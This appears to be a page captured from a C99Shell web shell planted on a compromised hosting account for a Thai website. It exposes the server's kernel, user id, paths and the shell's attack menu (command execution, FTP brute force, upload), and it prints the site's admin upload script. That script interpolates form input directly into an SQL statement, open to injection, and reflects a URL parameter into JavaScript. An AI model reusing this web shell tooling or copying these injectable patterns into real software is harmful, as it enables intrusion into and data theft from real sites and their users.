!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/ladiesmoph/moph_admin/   drwxr-xr-x
Free 237.9 GB of 981.82 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pdf_form.php (14.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ob_start
();
session_start();
if (!
$_SESSION['fullname']) {
  
header("location: index.php");
}
require_once(
'includes/db.php');
$r_id $_GET['v_id'];
if (isset(
$_POST['input_title'])) {
  
//require_once 'connect.php';
  //สร้างตัวแปรวันที่เพื่อเอาไปตั้งชื่อไฟล์ใหม่
  
$date1 date("Ymd_His");
  
//สร้างตัวแปรสุ่มตัวเลขเพื่อเอาไปตั้งชื่อไฟล์ที่อัพโหลดไม่ให้ชื่อไฟล์ซ้ำกัน
  
$numrand = (mt_rand());
  
$doc_file = (isset($_POST['doc_file']) ? $_POST['doc_file'] : '');
  
$upload $_FILES['doc_file']['name'];

  
//มีการอัพโหลดไฟล์
  
if ($upload != '') {
    
//ตัดขื่อเอาเฉพาะนามสกุล
    
$typefile strrchr($_FILES['doc_file']['name'], ".");

    
//สร้างเงื่อนไขตรวจสอบนามสกุลของไฟล์ที่อัพโหลดเข้ามา
    
if ($typefile == '.pdf') {

      
//โฟลเดอร์ที่เก็บไฟล์ **สร้างไฟล์ index.php หรือ index.html (ไม่ต้องมี code) ไว้ในโฟลเดอร์ด้วยนะครับจะได้ป้องกันการเข้าถึงทุกไฟล์ในโฟลเดอร์
      
$path "docs/";
      
//ตั้งชื่อไฟล์ใหม่เป็น สุ่มตัวเลข+วันที่
      
$newname 'doc_' $numrand $date1 $typefile;
      
$path_copy $path $newname;
      
//คัดลอกไฟล์ไปยังโฟลเดอร์
      
move_uploaded_file($_FILES['doc_file']['tmp_name'], $path_copy);

      
//ประกาศตัวแปรรับค่าจากฟอร์ม
      
$doc_name $_POST['input_title'];
      
$category $_POST['inputtype'];
      
//sql insert
      
$result $conn->prepare("INSERT INTO tbl_pdf (doc_name, doc_file, doc_cat, pin) SELECT '$doc_name', '$newname', $category, COALESCE(MAX(pin), 0) + 1 FROM tbl_pdf WHERE doc_cat = 2;");
      
$result->execute();
      
//$result = $stmt->execute();
      //$conn = null; //close connect db
      //เงื่อนไขตรวจสอบการเพิ่มข้อมูล
      
if ($result) {
        echo 
'<script>
                   setTimeout(function() {
                    swal({
                        title: "อัพโหลดไฟล์เอกสารสำเร็จ",
                        type: "success"
                    }, function() {
                        window.location = "pdf_dashboard.php?v_id=' 
$r_id '"; //หน้าที่ต้องการให้กระโดดไป
                    });
                  }, 1000);
              </script>'
;
      } else {
        echo 
'<script>
                   setTimeout(function() {
                    swal({
                        title: "เกิดข้อผิดพลาด",
                        type: "error"
                    }, function() {
                        window.location = "upload_pdf.php"; //หน้าที่ต้องการให้กระโดดไป
                    });
                  }, 1000);
              </script>'
;
      } 
//else ของ if result


    
} else { //ถ้าไฟล์ที่อัพโหลดไม่ตรงตามที่กำหนด
      
echo '<script>
                       setTimeout(function() {
                        swal({
                            title: "คุณอัพโหลดไฟล์ไม่ถูกต้อง",
                            type: "error"
                        }, function() {
                            window.location = "pdf_form.php"; //หน้าที่ต้องการให้กระโดดไป
                        });
                      }, 1000);
                  </script>'
;
    } 
//else ของเช็คนามสกุลไฟล์

  
// if($upload !='') {

//isset

?>

<!DOCTYPE html>
<html>

<head>
  <title>Admin Dashboard : PHBCOOP</title>
  <meta charset="utf-8">
  <meta content="ie=edge" http-equiv="x-ua-compatible">
  <meta content="Phbcoop" name="keywords">
  <meta content="Phbcoop" name="author">
  <meta content="Admin dashboard Phbcoop" name="description">
  <meta content="width=device-width, initial-scale=1" name="viewport">
  <link href="img/favicon_phbcoop.png" rel="shortcut icon">
  <link href="https://fonts.googleapis.com/css?family=Rubik:300,400,500" rel="stylesheet" type="text/css">
  <link href="bower_components/select2/dist/css/select2.min.css" rel="stylesheet">
  <link href="bower_components/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet">
  <link href="bower_components/dropzone/dist/dropzone.css" rel="stylesheet">
  <link href="bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css" rel="stylesheet">
  <link href="bower_components/fullcalendar/dist/fullcalendar.min.css" rel="stylesheet">
  <link href="bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" rel="stylesheet">
  <link href="bower_components/slick-carousel/slick/slick.css" rel="stylesheet">
  <link href="css/main.css?version=4.4.0" rel="stylesheet">

  <!-- sweet alert  -->
  <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert-dev.js"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.css">
  <style>
    .file {
      visibility: hidden;
      position: absolute;
    }
  </style>
</head>

<body class="menu-position-side menu-side-left full-screen">
  <div class="all-wrapper solid-bg-all">

    <div class="layout-w">
      <!--------------------
        START - Mobile Menu
        -------------------->
      <?php //include ('includes/mobile_menu.php'); 
      
?>
      <!--------------------
        START - Main Menu
        -------------------->
      <?php include('includes/main_menu.php'); ?>
      <!--------------------
        END - Main Menu
        -------------------->
      <div class="content-w">
        <!--------------------
          START - Top Bar
          -------------------->
        <?php include('includes/top_setting.php'); ?>
        <!--------------------
          END - Top Bar
          -------------------->
        <div class="content-i">
          <div class="content-box">
            <div class="row">
              <div class="col-lg-12">
                <div class="element-wrapper">
                  <div class="element-box">

                    <form action="#" method="POST" enctype="multipart/form-data">

                      <h5 class="form-header">
                        Upload file PDF
                      </h5>
                      <div class="form-desc">
                        อัพโหลดข้อมูล ไฟล์ PDF
                      </div>
                      <div class="form-group">
                        <label class="col-md-3 control-label" for="inputtype">ประเภทหมวดหมู่</label>

                        <select class="form-control mb-md" name="inputtype">
                          <?php
                          $r_id 
$_GET['v_id'];

                          
$result $conn->prepare("SELECT * FROM tbl_category");
                          
$result->execute();
                          for (
$i 0$row $result->fetch(); $i++) {
                            
//for($i=0; $row = $result->fetch(); $i++){
                            
$id $row['id'];
                          
?>
                            <option value=<?php echo $row['id']; ?> <?php if ($id == $r_id) {
                                                                      echo 
"selected";
                                                                    } 
?><?php echo $row['categoryname']; ?></option>
                          <?php ?>
                        </select>

                      </div>
                      <div class="form-group">
                        <label for=""> Title/หัวข้อเรื่อง</label>
                        <input class="form-control" placeholder="Enter title" type="text" name="input_title">
                      </div>

                      <div class="form-group">
                        <label for=""> อัพโหลดเฉพาะไฟล์ PDF เท่านั้น</label>
                        <input type="file" name="doc_file" required class="form-control" accept="application/pdf"> <br>
                      </div>
                      <div class="form-buttons-w">

                        <input class="btn btn-primary" type="submit" name="submitform" value="Submit" />


                      </div>
                    </form>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="display-type"></div>
    </div>


    <div aria-hidden="true" class="onboarding-modal modal fade animated" id="Modal_success" role="dialog" tabindex="-1">
      <div class="modal-dialog modal-centered" role="document">
        <div class="modal-content text-center">
          <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span class="close-label">Skip</span><span class="os-icon os-icon-close"></span></button>
          <div class="onboarding-media">


            <div class="auth-w  centered">
              <h5 class="auth-header">
                บันทึกข้อมูลสำเร็จ
              </h5>
              <div class="logged-user-w">
                <div class="avatar-w">

                  <!-- <img src="../autosoft/img/team/"> -->
                </div>

              </div>
            </div>




          </div>
          <div class="onboarding-content with-gradient">
            <h4 class="onboarding-title">
              บันทึกข้อมูลสำเร็จ
            </h4>
            <div class="onboarding-text">
              information from them before they start using your app.
            </div>
          </div>
        </div>
      </div>
    </div>

    <div aria-hidden="true" class="onboarding-modal modal fade animated" id="Modal_Fail" role="dialog" tabindex="-1">
      <div class="modal-dialog modal-centered" role="document">
        <div class="modal-content text-center">
          <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span class="close-label">Skip Intro</span><span class="os-icon os-icon-close"></span></button>
          <div class="onboarding-media">
            <img alt="" src="img/bigicon2.png" width="200px">
          </div>
          <div class="onboarding-content with-gradient">
            <h4 class="onboarding-title">
              ไม่ผ่าน
            </h4>
            <div class="onboarding-text">
              This is an example of a multistep onboarding screen, you can use it to introduce your customers to your app, or collect additional information from them before they start using your app.
            </div>
          </div>
        </div>
      </div>
    </div>
    <?php

    ?>

    <script src="bower_components/jquery/dist/jquery.min.js"></script>
    <script src="bower_components/popper.js/dist/umd/popper.min.js"></script>
    <script src="bower_components/moment/moment.js"></script>
    <script src="bower_components/chart.js/dist/Chart.min.js"></script>
    <script src="bower_components/select2/dist/js/select2.full.min.js"></script>
    <script src="bower_components/jquery-bar-rating/dist/jquery.barrating.min.js"></script>
    <script src="bower_components/ckeditor/ckeditor.js"></script>
    <script src="bower_components/bootstrap-validator/dist/validator.min.js"></script>
    <script src="bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
    <script src="bower_components/ion.rangeSlider/js/ion.rangeSlider.min.js"></script>
    <script src="bower_components/dropzone/dist/dropzone.js"></script>
    <script src="bower_components/editable-table/mindmup-editabletable.js"></script>
    <script src="bower_components/datatables.net/js/jquery.dataTables.min.js"></script>
    <script src="bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js"></script>
    <script src="bower_components/fullcalendar/dist/fullcalendar.min.js"></script>
    <script src="bower_components/perfect-scrollbar/js/perfect-scrollbar.jquery.min.js"></script>
    <script src="bower_components/tether/dist/js/tether.min.js"></script>
    <script src="bower_components/slick-carousel/slick/slick.min.js"></script>
    <script src="bower_components/bootstrap/js/dist/util.js"></script>
    <script src="bower_components/bootstrap/js/dist/alert.js"></script>
    <script src="bower_components/bootstrap/js/dist/button.js"></script>
    <script src="bower_components/bootstrap/js/dist/carousel.js"></script>
    <script src="bower_components/bootstrap/js/dist/collapse.js"></script>
    <script src="bower_components/bootstrap/js/dist/dropdown.js"></script>
    <script src="bower_components/bootstrap/js/dist/modal.js"></script>
    <script src="bower_components/bootstrap/js/dist/tab.js"></script>
    <script src="bower_components/bootstrap/js/dist/tooltip.js"></script>
    <script src="bower_components/bootstrap/js/dist/popover.js"></script>
    <script src="js/demo_customizer.js?version=4.4.0"></script>
    <script src="js/main.js?version=4.4.0"></script>

    <script>
      $(document).on("click", ".browse", function() {
        var file = $(this).parents().find(".file");
        file.trigger("click");
      });
      $('input[type="file"]').change(function(e) {
        var fileName = e.target.files[0].name;
        $("#file").val(fileName);

        var reader = new FileReader();
        reader.onload = function(e) {
          // get loaded data and render thumbnail.
          document.getElementById("preview").src = e.target.result;
        };
        // read the image file as a data URL.
        reader.readAsDataURL(this.files[0]);
      });
    </script>



    <script>
      $(document).ready(function() {

        if (<?php echo $status?> == 1) {
          $("#Modal_success").modal().on("hidden.bs.modal", function() {
            header("location: products_dashboard.php");
            exit(0);
          });


        } else if (<?php echo $status?> == 0) {
          $("#Modal_Fail").modal();

        }

      });
    </script>
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.02 ]--